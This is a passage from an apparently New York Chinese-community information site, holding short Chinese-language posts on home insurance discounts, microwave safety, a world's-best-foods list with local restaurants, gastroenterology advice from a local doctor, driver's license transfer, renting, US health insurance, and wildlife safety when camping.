通常保险公司会给安装烟雾探测器、防盗铃、防盗锁的房屋提供至少5%的保费折扣。一些公司在你安装了较精致的自动喷水灭火器、直通警局消防局的火警及防盗铃后,甚至提供15%至20%的折扣。

4.减去多余项目
每年评估一下保单,去掉不必要的投保项目。当然不要减到不足以保护你的房屋和财产。

5.拆除旧建筑
保单可能也包括地皮上住宅外的其他楼房,从而拉高了保费。如果本来就是废弃的建筑,何不干脆拆掉?

6.清除周围植物
住在野火频发地区的屋主,应除掉自然易燃物,在住宅周围留有空地。

7.合并保险
把你在别家公司买的保险转到同一家公司。比如把汽车险,一些责任险转到屋主险所在公司。一些公司对在他们那里购买两种及以上保险的投保人提供5%至15%的折扣。

8.索赔前三思
多番索赔可能推高保费。如果只是小数额,可权衡是否就自掏腰包,长远来看实则是省钱的。

9.去掉地价
看看是否保单里也涵盖了地皮,如果是,在充分知晓风险的前提下,去掉它。因为地皮不会失窃、被刮走或烧掉,往往是地皮上的房屋和屋内的对象可能受损要恢复。

10.看是否靠近紧急服务
保险公司可能给靠近消防栓、消防站等救援服务的房屋一点保费折扣。假如你家着火,附近1.5英里处有一家消防站跟12英里外有一家完全是两回事。而消防队是公家的还是志愿者团体也对保费有影响。


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2021-04-28 / by / in , , , , , , , ,
微波炉有辐射危害吗?使用微波炉的4个小秘诀,这些食物,不能放进微波炉加热
文|无疆行者

微波炉是一个很伟大的发明,给我们的生活带来了很多的便利,如今,微波炉已经成为了很多人厨房里必不可少的炊具。但是也有些人会有疑问,使用微波炉安全吗?会不会有辐射危害?使用微波炉要注意些什么呢?

微波炉辐射对人有危害吗?

其实,微波炉的“辐射”是属于低频的微波,仅是使水分子振动产热,进而加热食物。微波炉是封闭的,把微波隔绝在里面不会跑出来,很安全。

其微波频率不足以破坏分子链和原子结构,也不会对人体细胞DNA产生危害。

美国食药管理局(FDA)指出,除非微波炉的门锁或密封条损坏,否则不用担心微波会泄露并对人产生伤害。FDA还建议,作为预防措施,使用微波炉的时候不要倚靠在上面。

使用微波炉造成的伤害,一般是使用了不当的加热容器、放进不能微波的食物,可能会造成烫伤、毒素释出等风险。

1.不能放入微波炉的容器和物体:有颜色的塑胶容器、金属锅及铝箔、保鲜膜、美耐皿、有金属边的容器。

五颜六色的容器、普通塑胶容器、美耐皿餐具和保鲜膜经高温加热,容易释放出有毒物质。

能放入微波炉的容器,以玻璃、陶瓷或可耐热塑胶(PP聚丙烯,塑胶回收辨识码为5号)为主。

一般超商的微波食品已选用耐热塑胶容器,但加热前应注意外包装标示的耐热温度、微波符号及材质标示等,避免过度加热而超过塑胶材质的耐热温度。

不要用金属容器,因为放入炉内的铁、铝、不锈钢、搪瓷等金属器皿,微波炉在加热时会与之产生电火花并反射微波,既损伤炉体又做不熟食物,严重的还容易引发火灾。

2. 不能放入微波炉的食物:带壳、带皮、有膜、密封包装的食物。

栗子、葡萄、鸡蛋、及盒装牛奶等食物,经微波炉加热会爆开。

尤其是鸡蛋,常传出微波后爆开的事件。带壳生鸡蛋、带壳水煮蛋、外壳破裂的水煮蛋和无壳水煮蛋放入微波炉加热,都会在炉内爆开,只是炸开威力大小不同。

微波有膜、带壳、带皮及密封包装的食物,一定要戳洞或撕开一个缝,让热气可以散出来。例如,蛋黄外有层膜,微波荷包蛋时要先戳破。

特别要注意:

● 已经用微波炉解冻的肉类,如果你想要再放入冰箱冷冻,必须加热至全熟。

● 食品放入微波炉解冻或加热,你如果忘记取出,时间超过了两个小时,就要丢掉,以免引起食物中毒。

使用微波炉的4个小秘诀

平时使用微波炉,除了留意容器与食物,还有些小秘诀可以让人更安全的使用。

1. 加热食物的过程,中间要拿出来搅拌一下。

用微波炉直接加热,食物容易受热不均,因此需要经过加热、搅拌,再次微波到要的热度,这样才能杀死细菌。加热隔夜菜更应如此。

2. 份量多的汤品用火煮沸。

500毫升以上的汤品,只能倒入锅子用火煮沸或用电锅彻底加热,因为水量多的汤无法用微波彻底杀菌。

3. 避免将水加热过久,也不要盛装太满。

微波过久的水,在杯中看似平静,但取出时晃动一下,会使水会突然沸腾、甚至喷发。这种现象称为“突沸”,容易造成烫伤。

牛奶或汤等“有杂质”的液体,因结构被破坏,不易发生这类现象。要微波水,就不能加热过久、装太满。加热前可先稍微搅拌,或在水中添加即溶咖啡粉或糖等物质,可降低突沸的风险。

4. 微波时加盖,并随时清洁。

微波时,建议为容器盖上可微波的盖子,并留一点缝隙,以免食物四处喷溅在炉壁上,尤其是容易溅油的食材。

微波炉用完要随手清干净,若有食物残渣附着在炉壁上,不仅容易长菌,每次重复加热,还会让食物残渣干硬掉而产生有毒物质。

清洁方法是用湿抹布擦拭或是放进一碗水稍微加热,让水蒸气附在炉壁里面,再彻底擦干净。擦完后,把盖子打开,让里面的水汽散开、干掉再关起来。

 

2021-04-28 / by / in , , , , ,
世界最佳美食评选| 亚洲美食超三成 中国名菜上榜 在纽约都能尝到

CNN travel网站最近发布了世界最佳50种美食榜单。中国名菜北京烤鸭排名第五,有18种亚洲美食上榜。里面有你喜欢的美食吗?在纽约都能尝到吗?

这次评选,榜首依然是泰国料理玛莎曼咖喱(Massaman curry)。这道泰国菜已经连续10年蝉联美食冠军。这道咖喱究竟有什么奇特之处呢?

评选者把泰国的玛莎曼咖喱描述为“咖喱之王”、“美食之王”。玛莎曼咖喱的味道甜、辣、鲜,并配合浓浓的椰浆香味,是白米饭的绝佳拍档。即便是在超市购买的现成酱包,也可以让不会做菜的人让这道菜像出自米其林厨师之手一样美味…总之,评选者对玛莎曼咖喱是赞不绝口。一道菜能够连续10年蝉联榜首,想想就知道有多美味了。

除了这道味道浓醇的玛莎曼咖喱,泰国经典的冬阴功汤(Tom yum goong)排名第8。

 

还有泰国的青木瓜色拉(Som tam),排名第46位。

中国名菜北京烤鸭排名第5。北京烤鸭以炭火慢慢烤制,外皮酥脆,配上薄饼和蘸酱。绝对配得上世界美食的美誉。

再来看一下日本料理。日本有3道美食上榜。日本寿司(Sushi)排名第4。日本寿司即可以当点心也可以当正餐,白米饭和各种海鲜搭配,在寿司师傅的巧手下可以设计出不同的颜色和形状,即养眼又美味。难怪会受到全世界人的喜爱。

另外,日本的近江牛肉(Ohmi-gyu beef steak)排名29,安康鱼肝Ankimo排名32。

亚洲美食上榜的还包括马来西亚槟城亚参叻沙(Penang Asam Laksa),印度尼西亚牛肉咖喱(Rendang), 印度的黄油蒜蟹(Butter garlic crab), 菲律宾烧乳猪(Lechón),  越南米粉(Pho)及 越南夏卷(Goi cuon)。

不知道这些上榜美食里面有没有您喜欢的呢?身在纽约可以尝到世界各地的美食,华人朋友喜欢亚洲料理的可以尝试以下的推荐餐馆。

德益坊北京烤鸭店 Deyi Peking Duck House德益坊北京烤鴨店718-539-3066, 718-539-3061

马来槟城餐馆Penang Malaysian Cuisine732-287-3038

纽约最好吃的寿司店 /浪花寿司/法拉盛寿司餐馆718-321-3047

The Nuaa 泰国餐厅 (212) 888-2899

masala box马萨拉盒品(印度餐厅)718-281-2699

 

巴士多越南餐館 NEW PASTEUR RESTAURANT(212)608-3656

打开链接,可以找到更多选择:

韓餐https://www.jinlisting.com/韩餐推荐/

中餐https://www.jinlisting.com/listings/foods/american-chinese/

东南亚餐馆 https://www.jinlisting.com/listings/foods/east-aisa/

日式餐馆 https://www.jinlisting.com/listings/foods/riben/

 

 

 

2021-04-28 / by / in ,
腹腔镜/内窥镜/ERCP在肝胆疾病治疗方面的应用   纽约肠胃科专家荆彤医生谈消化科手术新趋势

随着内窥镜技术的不断发展,传统的大创面手术逐渐被微创、无创手术所取代。纽约肠胃科专家荆彤医生在这里要为大家介绍一下腹腔镜技术在肝胆疾病治疗方面的应用。

消化科手术的趋势是进行微创、无创手术,尽量减少病人的损伤。这样病人恢复得快,创伤小,对生活影响少。目前胆囊切除可以使用腹腔镜,在肚子上打一、两个孔,就可以把胆囊切掉了。现在很多时候把做胆囊切除都变成了门诊手术,病人不需要住院。手术完成后观察一个小时,病人如果没什么事就可以回家了。

在消化科有一种急症叫急性胆管炎,就是病人的胆结石进入胆管,造成胆管堵塞,使胆汁回流进入肝脏,通过肝脏进入血液。因为胆汁不是无菌的,它里面含有细菌。一旦细菌进入血液中,就会形成菌血症,也叫败血症。病人会有高烧,剧烈疼痛的感觉(胆管堵塞造成的疼痛),有时会出现休克,甚至会有生命危险。这种时候,我们会给患者做ERCP,这是一种比较复杂的手术,但是创伤很小,学名叫胃内胃十二指肠经胰胆管逆行造影手术。通过ERCP内镜逆行造影术把堵在胆管里的石头取出。这项手术对医生的技术要求很高,只有少数经过特殊训练的肠胃科医生才能做这种手术。(荆彤医生就是能实行这项手术的少数医生之一)

手术取出结石后,病人败血症的症状会得到控制,身体很快就会恢复健康。

2021-04-27 / by / in
如何区分胃痛和胆结石?纽约肠胃科专家荆彤医生告诉您

有些病人因为腹痛去做超声检查,发现有胆结石,但胆囊切除后腹痛仍无好转。纽约肠胃科专家荆彤医生建议您:在做胆囊切除前最好再做一个胃镜检查,您的腹痛很可能和胆结石无关!

胃痛和胆结石是不好区分的。有的病人可能会想,在解剖图上,胆在右,胃在左,那么右边痛就是胆或肝有问题,左边痛就是胃病。实际上这两个器官在腹腔内是挨着的,不像解剖图上画的那么远。解剖图上为了能让人看得清楚,把他们的位置移得比较远。

有很多腹痛病人因为痛的厉害,到了医院要看急诊。一般急诊医生会先给病人做超声检查。超声波对胆结石很敏感,很容易发现胆结石。但胆结石并不一定会造成腹痛。70%的胆结石病人一辈子都没有感觉,如果不做检查都不知道自己胆里面有石头。

有些腹痛病人因为发现了胆结石去接受胆囊切除手术时,这个外科医生如果是很小心谨慎的话会把病人介绍给肠胃科医生,做个胃镜,确保病人胃里边没有问题,比如说胃溃疡、十二指肠这些问题。超声检查表象是胆里面有石头,但是不是这个胆结石引起的腹痛还不一定。我接触过这样的病人,不久前因为腹痛把胆切掉了,但仍然没有解决腹痛的问题。

建议有腹痛问题的患者要做胃镜、超声、CT这些检查,综合一下再最后判断是什么原因引起的腹痛。

 

2021-04-27 / by / in
肚子痛有哪些原因?如何诊断治疗?纽约肠胃科专家荆彤医生为您解答

肚子痛很多人都经历过。由于腹腔内各种脏器紧密相连,如何判断这些疼痛是哪个器官引起的?下面请纽约肠胃科专家荆彤医生为大家来讲解。

肚子痛的原因多种多样。常见的肚子痛可能是以下疾病引起的:胰腺炎、胰腺癌、胃溃疡、胃炎、溃疡性结肠炎、肠缺血、胆囊炎、胆结石等等。

对于医生来讲,在接诊腹痛病人时,首先是要把那些对病人影响最大、危害很大的,可能会造成生命危险的疼痛一一排除掉。如果暂时不能排除,需要通过做一些检查,找到病因后把那些危害很大的做一些紧急处理。

常用的检查手段是胃镜、肠镜、CT、超声波扫描、核磁共振、内视镜超声等等。在胃镜下可以知道胃内有无胃炎、胃溃疡、幽门螺旋杆菌和肿瘤,食道肿瘤、胃的肿瘤和十二指肠的肿瘤都可以在胃镜下检测到。结合病人的其他情况,就可以初步判断病人的腹痛是否会危及生命。

如果通过检查并未发现器官的异常,那么这种腹痛就属于功能性腹痛,也叫做消化不良。这种腹痛也很常见。可以通过药物去调节,通常能达到不错的效果。

2021-04-27 / by / in
外州驾照换纽约驾照 要注意什么?换照要准备哪些材料?

文|交通小伙伴

纽约驾照号称全美最难考,如果你是从外州搬到纽约州,住满90天后,赶快到纽约车辆管理局(Department of Motor Vehicles, DMV),将外州驾照换成纽约驾照,避免要重新经过笔试、路考,才能在纽约开车。换纽约驾照要注意什么?要准备哪些材料?以下为你提供换照资讯。

DMV规定,外州搬到纽约州的居民,住在该州至少90天后,可在30天内,将外州驾照换成纽约驾照。

外州驾照换纽约驾照:需住在纽约州至少90天,可在30天内,将外州驾照换成纽约驾照。

换纽约驾照:要注意什么?

外州驾照必须包含:

  1. 你的照片。
  2. 有效期内或过期不超过24个月。
  3. 在申请纽约驾照之前至少6个月就已签发(商业驾照除外)。

注:如果外州驾照没有显示签发日期,请从签发该驾照的州,获取一份经认证的驾照纪录或信件,说明签发日期。如果无法提供,只能申请新的驾照。

以下情况不能转换纽约驾照:

  1. 驾照被暂停或撤销。
  2. 遗失或被盗。
  3. 未成年人或僱用驾照。
  4. 标注「不可续期」或「不可转让」。

外州驾照换纽约驾照:携带视力测试报告、外州驾照、身分证明文件、申请费,到DMV办理。

换纽约驾照:要准备什么?

受疫情影响,虽然大多数DMV办事处已重新开放,但目前采取预约制。可先查询DMV各办事处(可点击链接)资讯。

携带以下文件到DMV办理:

  1. 视力测试报告(Vision Test Report)(MV-619(可点击链接下载、填写、打印)。如果没有的话,也可在DMV进行视力测试。
  2. 外州驾照。
  3. 身分证明文件:每种材料有不同分数,须提供相加至少6分的证明文件。详细材料可参考DMV相关网页(可点击链接)

常见的文件如下:
4分:有效美国护照。
3分:有效外国护照、公民证书或入籍证书、绿卡(I-551)。
2分:社会安全卡或Ineligibility Letter。
1分:美国信用卡、医疗保险卡、含有名字和住址的美国银行账单(前往DMV之前,120天内签发)、含有名字和住址的公用事业账单(例如水、电、手机等,前往DMV之前,1年内签发)或租屋合同(前往DMV之前,1年内签发)。

注:同一分数的证明,只能算一件,分数不能相加,例如3家不同银行的账单,只算1分。

  1. 按照驾照类别,缴交65~137美元的费用。常见的普通驾照(D类、DJ类和N类),费用为65美元或75美元*。可以用现金、信用卡、借记卡、支票或汇票支付。

*注:以下县的居民,必须支付大都会通勤运输区(MCTD)的费用(10美元):布朗克斯(Bronx)、国王(布鲁克林)(Kings (Brooklyn))、纽约(曼哈顿)(New York (Manhattan))、皇后区(Queens)、里士满(史坦顿岛)(Richmond (Staten Island))、达奇斯(Dutchess)、纳苏(Nassau)、奥兰治(Orange)、普特南(Putnam)、洛克兰(Rockland)、苏福克(Suffolk)、威彻斯特(Westchester)。

注:加强版(Enhanced)驾照需额外收取30美元的费用。

申请完成后,DMV会给你一张临时驾照,大约2周左右,就能收到正式驾照。注:纽约驾照有效期为5年。

未能順利換紐約駕照 別擔心…

无法顺利换纽约驾照…别担心,金牌资讯网为你提供2021纽约驾照笔试、路考流程。

如果因为某些原因,无法顺利换纽约驾照。别担心,以下为你提供2021纽约驾照笔试、路考流程:

2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(上)

2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(中)

2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(下)

2021-04-27 / 1 Comment / by / in , , ,
在美国租房前 要和房东确认这些常识

文|雨荷

在美国租房,如何找到一个心仪的地方,让自己住得舒心,这可是一门大学问。租房合同中需要包含哪些基本信息来明确房客的权利和义务?一定要清楚。

建议租房前要询问房东这些问题

1.租期多长时间?
根据Consumer.gov的说法,租约通常为12个月。但是,也有一些业主和管理公司可以提供租赁期限6个月到18个月。需要问房东租赁协议的租赁期限是否灵活。如果您可以签订长期租约,则管理公司可能可以按月提供租金折扣。

2.房租中包含什么?
询问房东和管理公司租金中包括哪些公用事业。详细说明并确切询问您负责哪些公共设施以及房东将承担的费用。还要询问诸如停车,草坪护理,储藏室和游泳池通道等便利设施。这些类型的服务和设施房租中是否包含。

3.何时应交租金以及如何付款?
每个房东和管理公司都不相同,因此要确认租金的支付流程。询问何时提交租金,以及如果错过付款,是否有任何滞纳金;另外,如果您想在月中旬搬家,询问管理公司是否按比例分摊租金,还是支付整月的租金 。例如,如果您的租金是$ 1,200,但在月中旬搬家,则该月的按比例租金应该在$ 600左右。

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保证金 示意图。

4.保证金可以退还吗?
如果房客不违反租赁条款并且对设备没有损坏,则可退还保证金;如果您确实违反租约,则房东可能会保留全部或部分保证金,以支付这些费用。

5.是否需要房客保险?
房东和管理公司可能要求房客购买房客保险。房客的保险单有助于保护您的财物,诸如火灾失窃等造成的损失。根据全国保险专员协会(National Association of Insurance Commissioners)的数据,平均租房者的保险费每月在$15至$30之间。如果发现您对他人的伤害或财产损失负有法律责任,则房客保险还可以提供责任险,从而在经济上为您提供保护。与您的保险公司联系,以找出适合您情况的承保范围。

6.讯问在停止租房前多久通知?
租赁协议指定在搬出物业前需要给房东或管理公司提前通知。这可能需要1到3个月的时间,因此请确保在签署租约之前确认此信息。

签署租约 示意图。

7.违反租约的处罚是什么?
违反租约的罚款可能会因州法律和个别房东或物业经理而异。一些处罚可能包括没收您的保证金,支付数月的租金或支付租赁期内剩余的租金的一定比例。仔细阅读您的租约,了解如果您需要比预期更早的搬家,会发生什么情况。

8.有紧急维修服务吗?
公寓指南说,在签订租约之前,先询问房东提供什么样的紧急维护。了解如何在发生情况时与该维护人员联系。获取有关这些请求通常需要多长时间才能得到解决的确认。

9.可以带宠物吗?
房东和管理公司的宠物政策可能会有所不同。宠物政策是什么,都一定要询问在租赁期内是否需要支付任何不可退还的押金或宠物租金。

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宠物 示意图。

10.来访客人政策是什么?
公寓指南说,与宠物政策类似,房东对过夜的客人,访客甚至长期居留有不同的规定。请务必仔细阅读您的租赁条款,以了解需要遵循的特定准则。

11.房客的转租(Assignment)和分租(Sublease)权利?

房客在最初租房时,但是为了避免双方日后有争议,房客是否可以转租或者分租的权利在合同中应该明确列出。合同中可以约定房客若想转租或分租,需要提前通知房东并征得房东的同意或者在租约中设立相应条件,房东不可以以不合理的理由拒绝房客转租或者分租的请求。对于转租情况下原房客继续承担什么样的责任,各个州的法律都有不同的规定。

2021-04-26 / by / in , , , , ,
在纽约怎么看病|怎样选医疗保险 牙医保险 医院医生和看病费用

众所周知,美国有非常完善的医疗保险系统及先进的医疗水平,那么在美国看病的流程是什么?有哪些注意事项?以纽约地区为例,身在美国的华人要看病的话,怎样选医疗保险和医院医生?

美国医疗费用的主要构成是:医院、住院费、医药、医疗器材还有医生护士的费用等。生活在美国看过病的人都有感受,美国医疗费用真的很昂贵。

有媒体报导,有个华人晚上肚子痛,到医院就诊,在医院一个晚上接到的账单是5600美元。可能有人会认为,美国人有很好的医疗保险,所以不需要太担心。

其实,据美国普查局 (United States Census Bureau)的数据显示,2019年有超过2,600万美国人没有任何医疗健康保险,占总人口的8%。

美国政府机构在医疗保健网站上也提示人们,如果没有医疗保险,人们负担的医疗费用可能会让其陷入债务甚至破产。并举例:腿骨折医疗费高达7500美元,住院3天的平均费用是3万美元,癌症会耗费几十万美元。

在美国看病费用确实非常昂贵,因此医疗保险非常重要。

美国医疗保险

美国的医疗保险很复杂。

美国的医疗保险有联邦政府的Medicare,用于65岁以上的老年人,交满10年税,并达到一定额度,或是残疾人士,可以申请联邦医疗卡(也称红蓝卡)。这个保险很便宜,看病或住院后自己承担部分也比较少。

另一种专门给孕妇、儿童及低收入家庭和个人提供的医疗保健计划由州政府负责,这种计划称为“医疗辅助保险”(Medicaid),也称为“白卡”。孕妇和儿童,以及低收入家庭可以申请这种保险。以纽约为例,年龄为 19-64岁的申请人,家庭总收入在联邦贫穷线的138%以下,并满足其它一些资产限制条件的,申请人就可以享受100%的医疗福利。

不过大部分美国人都享受不到这样便宜的保险,一般都购买商业保险。

美国的医疗保险计划分个人和全家两种。如果是单身,那就只需要购买个人医疗保险计划。如果你有家室,那就可以买家庭保险计划,每个月交纳的费用也相应多一些。一人购买,涵盖全家,包括配偶和未成年子女。

如果是自雇业主可以自己买保险,大约一年的医疗保险费用是5000美元。

如果是上班族,一些利润好的大公司会给员工买保险,叫做“雇主赞助家庭健康保险”, 平均一年大约2万美元,一般公司支付70% – 80%,个人支付20% – 30%,也就是雇主每年支付14,000到16,000美元,雇员每年支付4000 到6000美元。

也有效益好的公司,百分之百地负担雇员及其家属的医疗保险费用。

那么有这样的保险以后,看病还要自己花钱吗?是的,在每次看病时需要支付大约10%的费用。

而一些小公司可能只给雇员买一般的保险,那样看病的时候自己就要付比较多的钱。

美国牙医保险

另外要提醒的是,在美国也许你有医疗保险,却可能没有牙医保险。美国医疗保险和牙医保险是两种不一样的保险。

在美国如果你要看牙或治疗牙齿,最好能有美国牙医保险,否则也可能会收到“天价账单”。美国牙医保险可选的计划很多,每个人可以根据自己的情况来定。比如,有的人只需要每年常规检查和洗牙,但是有的人会需要做烤瓷牙或植牙。就根据自己的需要来选择不同的牙医保险。

在选择牙医保险时,请记得看清楚你的保险计划(plan)是否是医疗保险公司网路里的加盟医生、医院和药房等。还要注意的是一定要核对清楚牙医保险的等待期(waiting period)。

选择美国医疗保险,要搞懂的几件事

搞清楚以下这些基本概念,也许对您选择医疗保险有点帮助。

保险费Premium: 定期向保险公司支付的费用。

最高保险支付额 Maximum Payment:指保险公司支付给你的医疗费用最高金额。

自付额Deductible: 保险公司为你支付费用之前,每次看病自己先要花销的金额范围。(deductible金额越低,保险费越贵)。

手续费 Co-pay:类似挂号费,每次看病都要付,一般从15到50美元。

共同保险Co-insurance:在自付额满了之后,需要支付的医疗费用比例。(比如20%)

个人最高应付额Out-of-pocket limit: 自己支付的医疗费用超过这个额度后就由保险公司支付。

网络内和非网络内的医疗保健单位 In-network & out-of-network:有些医疗保险限制只能选择网络内的医疗保健单位。选择网络外的医疗保险费用就很贵了,自费比例也会高。

美国看病流程

买了普通的医疗保险,看病要先预约选定的家庭医生(全科医生),如果全科医生看不好,再由全科医生介绍给专科医生,一般好的专科医生也需要预约排队,如果专科医生看不好,属于重病或疑难病症,才介绍到大医院。这个过程是购买私人医疗保险看病的一般流程。

如果收入很好的人士,买了昂贵的医疗保险就可以随时随地享受最好的医疗条件,可以有多名私人医生,在世界任何地方看病的费用全部“实报实销”。当然每月在医疗保险上的支出也是相当可观。

如果购买的是保险费较低的医疗保险,就到指定的医院就诊。

入不敷出的人士,或者有的年轻人觉得买医疗保险不划算可能不参加任何医疗保险,一旦有病不得不看时,可以到公立医院去看病,只不过要排长队,并且填写冗长而又繁琐的申报表格以取得一张免费处方。

如果不是公立医院的话,没有医疗保险也可以跟医院协商要求医疗费用折扣(例如cash discount)或者申请医院的经济援助(financial assistance)等等来减轻负担。但是谁知道砍价后还要支付多少呢?总是觉得心里没有底。

美国医疗保险复杂,对于移民美国的华人来讲,如何针对自己个人和家庭情况选择合适的医疗保险是需要多方权衡和考虑的。如果您需要更多了解美国医疗保险,选择一份自已合适的医疗保险,为自己和家庭带来更多生活保障,请咨询纽约地区的专业医师和保险律师。

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2021-04-26 / by / in , ,
户外探险、野营的常识 遭遇猛兽该如何自保?
文|无疆行者

到户外进行野营探险是一种愉快的、自由的体验。如果能近距离观察到平日里难得一见的大型野生动物,更是一种让人既兴奋又难忘的经历。但是这也存在着潜在的危险,有的时候甚至是致命的。那么在到户外远足野营要注意些什么呢,如果遇到了攻击性很强的熊、狼或美洲狮这样的猛兽,应该怎样保护自己免受伤害呢?

如果你决定走进大自然,来一场任性的户外远足和野营,首先请了解以下的事项。

• 开车要留意野生动物

在美国的公路上开车,要特别小心撞上野生动物。据统计,美国每年有近200人死于和鹿相撞的事故里。有许多动物喜欢在清晨和黄昏至午夜的时间段活动,在野生动物出没多的路段,这时候开车要格外小心。

• 天黑之前要找到露营地扎营

营地要选择在靠近水源、背风的地方。注意帐篷门的朝向不要迎着风向。

• 不要将食物、有香味的物品带入帐篷。

食物的味道会吸引各类动物来觅食。应该保持干净的营地,使用炊具后要彻底清洗。所有有味道的东西都要放到远离帐篷的地方,比如说牙膏,香水,等等。将未食用的食物密封存放,或将其吊挂在远离帐篷的树上。垃圾也要注意掩埋或丢到露营区的垃圾桶里,减少吸引野生动物觅食的味道。

• 切勿喂食会吸引美洲狮的野生动物,例如鹿,浣熊或松鼠。

遭遇猛兽如何自保

避免潜在致命情况的最佳方法是提前做好准备。在有大型野生动物活动的区域,首先要特别注意警告标志。如果你要离开营地时,务必至少找一个同伴一起。通常两个人在一起时受到野生动物攻击的概率会小很多。

黄金的法则是:永远不要故意喂食或接近危险的野生动物。

如果你遇到了可能伤害你的大型危险的野生动物,首先应努力保持镇静,不要让它感受到你在害怕,这是至关重要的。很多时候,野生动物只是对你的身分和所做的事情感到好奇。

1. 鳄鱼

在美国,鳄鱼经常出没的地方包括:德克萨斯州及其往西的沿海领域,直到北卡莱罗纳州。在佛州,鳄鱼几乎可能存在于任何水域。

鳄鱼是伏击掠食者和投机者,最好与任何水边保持至少4到5英尺的距离。短吻鳄的主要狩猎时间是黎明和黄昏。

在鳄鱼的繁殖期尤其要提高警惕。佛罗里达鳄鱼的繁殖期通常从五月开始,所以在夏天出游的时候不但要避开相关水域,最好连水域附近的草丛也尽量避免进入。

遭遇鳄鱼攻击时该咋办呢?

传统的方法是跑Z字形,但是最好还是尽可能地快速远离它们,寻求屏障。一旦你和它之间有视觉障碍,或其它任何它们必须绕过的障碍,它们可能会对你失去兴趣。

如果你在水中发现了鳄鱼,一定不要惊慌。飞溅的水花或大喊大叫只会使鳄鱼对你更感兴趣,因为它们认为那是它的猎物应该表现的。要立即安静地游回岸边。


万一不幸被鳄鱼咬住,它下一步的行动就是把你拖到深水里。这时已经到了绝地反击的时候了,千万不要费力尝试撬开它强大的下颚。用手指猛戳鳄鱼的眼睛或鼻孔都有可能使它松开嘴而得以逃脱。

2. 美洲狮(山狮、Cougar)

当你看到美洲狮时,它很可能已经跟踪你一段时间了。美洲狮是出色的跟踪掠食者之一。它们通常不会攻击两个或两个以上的人。

美洲狮主要的捕食对象是鹿,不过它们也会吃其它的小动物,比如说羊,浣熊,驼鹿,土狼,小黑熊,刺猬等。

美洲狮一般在山上活动,但是也会出现于森林或者空地。觅食时会走的很远。最活跃的时间是傍晚和清晨。

如果你遇到美洲狮,如果身边有小孩的话要马上抱起来。你应该站在高处,站直身体,不要弯腰,正面直视它,万万不可转身逃跑,这样会触发它的捕捉天性。要慢慢后退,不要背对着它。一般来说美洲狮会避开你。如果美洲狮试图逃跑,要确保给它让出一条可以逃跑的道路。

如果它开始攻击就要猛烈还击!利用身边的一切东西,比如树枝,石头等,还击时要集中攻击在它的头部和眼睛,另外要确保一直面对着美洲狮。

3.熊 (Bears)

北美地区的熊通常是黑熊(black bear)或者灰熊(grizzly bear)。它们很少会攻击人类,遭遇到熊大多数的情况是安全的。但必须要知道,所有的熊都是有危险性甚至是致命的。特别是它们在保护幼崽,或是感受到威胁的时候,它们就会发动攻击。相比较而言,灰熊比黑熊更危险,攻击性更强。

清晨和黄昏是熊比较活跃的时候。在有熊出没的地方徒步远足时,应避开这个时间段。

如果遇到黑熊,不要转身就跑(这样就把自己搞成了它们的猎物),而是要慢慢的后退,不要让它感受到有威胁,不要激怒它。如果有小孩在,迅速把小孩拉到身边。如果多人在,人要集合在一起,不要分散。

一头有攻击性或防御状态的黑熊会做出一些不同的行为或声音。如果它们面对你时头俯下来,耳朵向后竖起,并向你走来,这种情况就要小心了。这是要攻击你的迹象,你这时要大喊大叫,挥动双手,让自己显得越大越好。向它扔石头或树枝,全力反击,集中攻击熊的头部和眼睛。

千万不要装死,这样黑熊会更加容易攻击你。

如果是灰熊的话就尽快找一个4米以上的树爬上去,如果没有树的话就要趴地,把肚子靠着地,然后把手放在挡在头和颈部。灰熊可能会尝试翻你,每当你的肚子朝天就再翻一圈把肚子和脸部靠在地面。

如果灰熊真的要吃你的话就用所有的力气还击和逃跑。

如果它是因为你携带的食物而攻击,赶紧把食物扔到远距离外。

去有熊出没的地方最好随身带上驱熊喷雾(bear spray),这种防熊利器,甚至比枪更有效。

4. 狼( Wolves)

在野外遇到狼的时候,千万不要慌,狼有敏锐的观察力,你的害怕会被它捕捉到。如果在和小孩一起时遇到土狼,要将孩子举起来。切勿背对土狼。 这表示屈服,软弱和恐惧。

狼通常比较怕人,是多种猎食性动物里最少主动袭击人的品种。

如果遇到狼,避免和它目光对视,用余光观察,缓缓走开。如果发现它跟进,要立即站定。

如果狼开始咆哮或咬紧下巴,这时可以双手举高,让自己看起来更高大,大声高喊,来一个狮子吼,都可以有效的震慑土狼。

真正受到攻击的时候要猛烈反击,并注意保护你的喉咙和动脉。

5.美洲野牛( Bison)

这种巨大的食草动物看起来好像憨憨的,很温顺的样子,不具有危险性。但是在黄石公园,每年野牛伤人的事件比其它动物都要多,包括让人恐惧的灰熊。

美洲野牛公牛的重量可达一吨,根据记录,它们能和马跑的一样快,能够达到每小时55公里的速度。

避免被野牛攻击很简单,只需保持足够的距离就行。观看野牛的安全距离是20米以上。

野牛伤人的事件,大多都是游客的不当行为导致的,比如近距离拍照,或有夸张的动作,或者发出怪异的声音等惊扰到野牛。

每年的6月到9月左右,是美洲野牛的发情交配季节,公牛在这个季节特别有攻击性。

在五月和六月,母牛也会因为保护小牛犊而变得易怒,要格外小心。切不可站到母牛与小牛犊之间。

如果你不幸遭遇到野牛的冲锋攻击,应立即寻找掩护。如果周围有树木,可以躲到树后,如果你能爬树也是个好主意。

2021-04-26 / by / in , , , ,
烧心、反酸别不当回事!小心食道癌!纽约肠胃科专家荆彤医生提醒您

不少朋友都有过烧心反酸的现象,一般大家也都不太把这当回事。但是你知道吗?如果烧心的现象反复出现,会发展为食道炎,甚至诱发食道癌。在此请纽约肠胃科专家荆彤医生为大家做详细说明。

烧心的症状反复出现会对身体造成哪些伤害?

反复出现烧心会对食道表层起到破坏作用,形成食道炎,严重一些的会形成食道溃疡,最严重的情况是形成食道癌,尤其是腺状上皮癌,在中国人和美国人中都比较常见。美国的白人中经常发现这种腺性上皮癌,这和他们的饮食有很大关系。比较肥胖的人容易得食道癌。

食道癌分为两类:腺状上皮癌和鳞状上皮癌。鳞状上皮癌的患者中除了有胃食道逆流的问题,也大都存在抽烟、喝酒的问题。鳞状上皮癌常见于食道的中上部。在询问病人病史的时候,很多人在年轻时就开始抽烟喝酒很厉害,有的人胃食道逆流的问题也很严重。

在一开始的时候病人没当回事,胃食道逆流反反复复也没有去治疗。过了几年,有的病人胃食道逆流的症状完全消失了,也没有吃过药,病人自己很高兴。实际上这不是值得高兴的事,是因为胃和食道接口的地方长了肿瘤,这个肿瘤挡在那里,使胃里的食物无法返流到食道。我见过几个病人就是这样的情况。

